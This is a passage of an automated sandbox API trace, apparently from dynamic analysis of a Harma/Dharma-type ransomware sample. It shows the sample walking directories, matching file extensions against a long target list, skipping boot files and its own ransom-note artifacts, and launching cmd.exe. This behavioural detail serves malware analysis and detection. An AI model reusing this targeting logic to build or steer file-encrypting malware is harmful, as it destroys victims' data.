lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".m4a") returned 4 [0055.073] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".m4v") returned 4 [0055.073] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".max") returned 4 [0055.073] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".md") returned 3 [0055.073] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0055.073] lstrlenW (lpString=".mda") returned 4 [0055.073] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".mdb") returned 4 [0055.073] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".mde") returned 4 [0055.073] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".mdf") returned 4 [0055.073] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0055.073] lstrlenW (lpString=".mdw") returned 4 [0055.074] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mef") returned 4 [0055.074] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mft") returned 4 [0055.074] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mfw") returned 4 [0055.074] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mht") returned 4 [0055.074] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mhtml") returned 6 [0055.074] lstrcmpiW (lpString1=".mhtml", lpString2="on.png") returned -1 [0055.074] lstrlenW (lpString=".mka") returned 4 [0055.074] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mkidx") returned 6 [0055.074] lstrcmpiW (lpString1=".mkidx", lpString2="on.png") returned -1 [0055.074] lstrlenW (lpString=".mkv") returned 4 [0055.074] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mos") returned 4 [0055.074] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mov") returned 4 [0055.074] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mp3") returned 4 [0055.074] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0055.074] lstrlenW (lpString=".mp4") returned 4 [0055.074] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".mpeg") returned 5 [0055.075] lstrcmpiW (lpString1=".mpeg", lpString2="n.png") returned -1 [0055.075] lstrlenW (lpString=".mpg") returned 4 [0055.075] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".mpv") returned 4 [0055.075] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".mrw") returned 4 [0055.075] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".msg") returned 4 [0055.075] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".mxl") returned 4 [0055.075] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".myd") returned 4 [0055.075] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".myi") returned 4 [0055.075] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".nef") returned 4 [0055.075] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".nrw") returned 4 [0055.075] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".obj") returned 4 [0055.075] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".odb") returned 4 [0055.075] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0055.075] lstrlenW (lpString=".odc") returned 4 [0055.076] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".odm") returned 4 [0055.076] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".odp") returned 4 [0055.076] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".ods") returned 4 [0055.076] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".oft") returned 4 [0055.076] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".one") returned 4 [0055.076] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".onepkg") returned 7 [0055.076] lstrcmpiW (lpString1=".onepkg", lpString2="con.png") returned -1 [0055.076] lstrlenW (lpString=".onetoc2") returned 8 [0055.076] lstrcmpiW (lpString1=".onetoc2", lpString2="icon.png") returned -1 [0055.076] lstrlenW (lpString=".opt") returned 4 [0055.076] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".oqy") returned 4 [0055.076] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".orf") returned 4 [0055.076] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".p12") returned 4 [0055.076] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0055.076] lstrlenW (lpString=".p7b") returned 4 [0055.076] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".p7c") returned 4 [0055.077] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pam") returned 4 [0055.077] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pbm") returned 4 [0055.077] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pct") returned 4 [0055.077] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pcx") returned 4 [0055.077] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pdd") returned 4 [0055.077] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pdf") returned 4 [0055.077] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pdp") returned 4 [0055.077] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pef") returned 4 [0055.077] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pem") returned 4 [0055.077] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pff") returned 4 [0055.077] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pfm") returned 4 [0055.077] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0055.077] lstrlenW (lpString=".pfx") returned 4 [0055.077] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0055.078] lstrlenW (lpString=".pgm") returned 4 [0055.078] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0055.078] lstrlenW (lpString=".php") returned 4 [0055.078] lstrcmpiW (lpString1=".php", lpString2=".png") returned -1 [0055.078] lstrlenW (lpString=".php3") returned 5 [0055.078] lstrcmpiW (lpString1=".php3", lpString2="n.png") returned -1 [0055.078] lstrlenW (lpString=".php4") returned 5 [0055.078] lstrcmpiW (lpString1=".php4", lpString2="n.png") returned -1 [0055.078] lstrlenW (lpString=".php5") returned 5 [0055.078] lstrcmpiW (lpString1=".php5", lpString2="n.png") returned -1 [0055.078] lstrlenW (lpString=".phtml") returned 6 [0055.078] lstrcmpiW (lpString1=".phtml", lpString2="on.png") returned -1 [0055.078] lstrlenW (lpString=".pict") returned 5 [0055.078] lstrcmpiW (lpString1=".pict", lpString2="n.png") returned -1 [0055.078] lstrlenW (lpString=".pl") returned 3 [0055.078] lstrcmpiW (lpString1=".pl", lpString2="png") returned -1 [0055.078] lstrlenW (lpString=".pls") returned 4 [0055.078] lstrcmpiW (lpString1=".pls", lpString2=".png") returned -1 [0055.078] lstrlenW (lpString=".pm") returned 3 [0055.078] lstrcmpiW (lpString1=".pm", lpString2="png") returned -1 [0055.078] lstrlenW (lpString=".png") returned 4 [0055.078] lstrcmpiW (lpString1=".png", lpString2=".png") returned 0 [0055.078] lstrlenW (lpString="icon.png") returned 8 [0055.078] lstrlenW (lpString=".harma") returned 6 [0055.078] lstrcmpiW (lpString1=".harma", lpString2="on.png") returned -1 [0055.078] lstrlenW (lpString="icon.png") returned 8 [0055.079] lstrcmpiW (lpString1="boot.ini", lpString2="icon.png") returned -1 [0055.079] lstrcmpiW (lpString1="bootfont.bin", lpString2="icon.png") returned -1 [0055.079] lstrcmpiW (lpString1="ntldr", lpString2="icon.png") returned 1 [0055.079] lstrcmpiW (lpString1="ntdetect.com", lpString2="icon.png") returned 1 [0055.079] lstrcmpiW (lpString1="io.sys", lpString2="icon.png") returned 1 [0055.079] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="icon.png") returned -1 [0055.079] lstrcmpiW (lpString1="Info.hta", lpString2="icon.png") returned 1 [0055.079] lstrcmpiW (lpString1="3G6885.exe", lpString2="icon.png") returned -1 [0055.079] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png") returned 65 [0055.079] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0055.079] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 63 [0055.079] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 1 [0055.079] lstrlenW (lpString="images") returned 6 [0055.079] lstrcmpiW (lpString1="C:\\Windows", lpString2="images") returned -1 [0055.079] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3ef1060 [0055.080] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images") returned 63 [0055.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0055.081] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.081] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0055.081] lstrlenW (lpString="bg-desk.png") returned 11 [0055.081] lstrlenW (lpString=".1cd") returned 4 [0055.081] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0055.081] lstrlenW (lpString=".3ds") returned 4 [0055.081] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".3fr") returned 4 [0055.082] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".3g2") returned 4 [0055.082] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".3gp") returned 4 [0055.082] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".7z") returned 3 [0055.082] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0055.082] lstrlenW (lpString=".accda") returned 6 [0055.082] lstrcmpiW (lpString1=".accda", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".accdb") returned 6 [0055.082] lstrcmpiW (lpString1=".accdb", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".accdc") returned 6 [0055.082] lstrcmpiW (lpString1=".accdc", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".accde") returned 6 [0055.082] lstrcmpiW (lpString1=".accde", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".accdt") returned 6 [0055.082] lstrcmpiW (lpString1=".accdt", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".accdw") returned 6 [0055.082] lstrcmpiW (lpString1=".accdw", lpString2="sk.png") returned -1 [0055.082] lstrlenW (lpString=".adb") returned 4 [0055.082] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".adp") returned 4 [0055.082] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0055.082] lstrlenW (lpString=".ai") returned 3 [0055.083] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0055.083] lstrlenW (lpString=".ai3") returned 4 [0055.083] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0055.083] lstrlenW (lpString=".ai4") returned 4 [0055.083] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0055.083] lstrlenW (lpString=".ai5") returned 4 [0062.687] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.713] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indianapolis", cAlternateFileName="INDIAN~1")) returned 1 [0062.713] lstrlenW (lpString="Indianapolis") returned 12 [0062.713] lstrlenW (lpString=".1cd") returned 4 [0062.714] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8eb9c | out: lpFindFileData=0x3a8eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Knox", cAlternateFileName="")) returned 1 [0062.714] lstrlenW (lpString="Knox") returned 4 [0062.714] lstrlenW (lpString=".1cd") returned 4 Thread: id = 21 os_tid = 0xa1c Thread: id = 22 os_tid = 0xa24 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4f1e4000" os_pid = "0x9b4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x99c" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x9b8 [0038.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fe00 | out: lpSystemTimeAsFileTime=0x19fe00*(dwLowDateTime=0xcce489b0, dwHighDateTime=0x1d58aa8)) [0038.779] GetCurrentProcessId () returned 0x9b4 [0038.779] GetCurrentThreadId () returned 0x9b8 [0038.779] GetTickCount () returned 0x1142da6 [0038.779] QueryPerformanceCounter (in: lpPerformanceCount=0x19fe08 | out: lpPerformanceCount=0x19fe08*=15881816926) returned 1 [0038.780] GetModuleHandleW (lpModuleName=0x0) returned 0x4a460000 [0038.780] __set_app_type (_Type=0x1) [0038.780] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a487810) returned 0x0 [0038.781] __getmainargs (in: _Argc=0x4a4aa608, _Argv=0x4a4aa618, _Env=0x4a4aa610, _DoWildCard=0, _StartInfo=0x4a48e0f4 | out: _Argc=0x4a4aa608, _Argv=0x4a4aa618, _Env=0x4a4aa610) returned 0 [0038.781] GetCurrentThreadId () returned 0x9b8 [0038.781] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9b8) returned 0x3c [0038.782] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.782] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0038.782] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0038.782] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.782] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fd98 | out: phkResult=0x19fd98*=0x0) returned 0x2 [0038.782] VirtualQuery (in: lpAddress=0x19fd80, lpBuffer=0x19fd00, dwLength=0x30 | out: lpBuffer=0x19fd00*(BaseAddress=0x19f000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.782] VirtualQuery (in: lpAddress=0xa0000, lpBuffer=0x19fd00, dwLength=0x30 | out: lpBuffer=0x19fd00*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.782] VirtualQuery (in: lpAddress=0xa1000, lpBuffer=0x19fd00, dwLength=0x30 | out: lpBuffer=0x19fd00*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.782] VirtualQuery (in: lpAddress=0xa4000, lpBuffer=0x19fd00, dwLength=0x30 | out: lpBuffer=0x19fd00*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0038.782] VirtualQuery (in: lpAddress=0x1a0000, lpBuffer=0x19fd00, dwLength=0x30 | out: lpBuffer=0x19fd00*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0038.782] GetConsoleOutputCP () returned 0x1b5 [0038.792] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a49bfe0 | out: lpCPInfo=0x4a49bfe0) returned 1 [0038.792] SetConsoleCtrlHandler (HandlerRoutine=0x4a483184, Add=1) returned 1 [0038.792] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.792] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0038.793] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.793] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a48e194 | out: lpMode=0x4a48e194) returned 0 [0038.793] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.793] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a48e198 | out: lpMode=0x4a48e198) returned 0 [0038.793] GetEnvironmentStringsW () returned 0x288a60* [0038.793] GetProcessHeap () returned 0x270000 [0038.793] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa7c) returned 0x2894f0 [0038.793] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0038.793] GetProcessHeap () returned 0x270000 [0038.793] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x8) returned 0x2888e0 [0038.793] GetEnvironmentStringsW () returned 0x288a60* [0038.794] GetProcessHeap () returned 0x270000 [0038.794] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa7c) returned 0x289f80 [0038.794] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0038.794] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ec58 | out: phkResult=0x19ec58*=0x44) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x18, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x1, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x1, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x0, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x40, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x40, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x40, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.794] RegCloseKey (hKey=0x44) returned 0x0 [0038.794] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x19ec58 | out: phkResult=0x19ec58*=0x44) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x40, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x1, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x1, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x0, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.795] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x9, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.795] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x4, lpData=0x19ec70*=0x9, lpcbData=0x19ec54*=0x4) returned 0x0 [0038.795] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x19ec50, lpData=0x19ec70, lpcbData=0x19ec54*=0x1000 | out: lpType=0x19ec50*=0x0, lpData=0x19ec70*=0x9, lpcbData=0x19ec54*=0x1000) returned 0x2 [0038.795] RegCloseKey (hKey=0x44) returned 0x0 [0038.795] time (in: timer=0x0 | out: timer=0x0) returned 0x5db20817 [0038.795] srand (_Seed=0x5db20817) [0038.795] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.795] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0038.795] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a49c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.795] GetProcessHeap () returned 0x270000 [0038.795] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x28aa10 [0038.795] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0038.795] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.795] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a48f360, nSize=0x2000 | out: 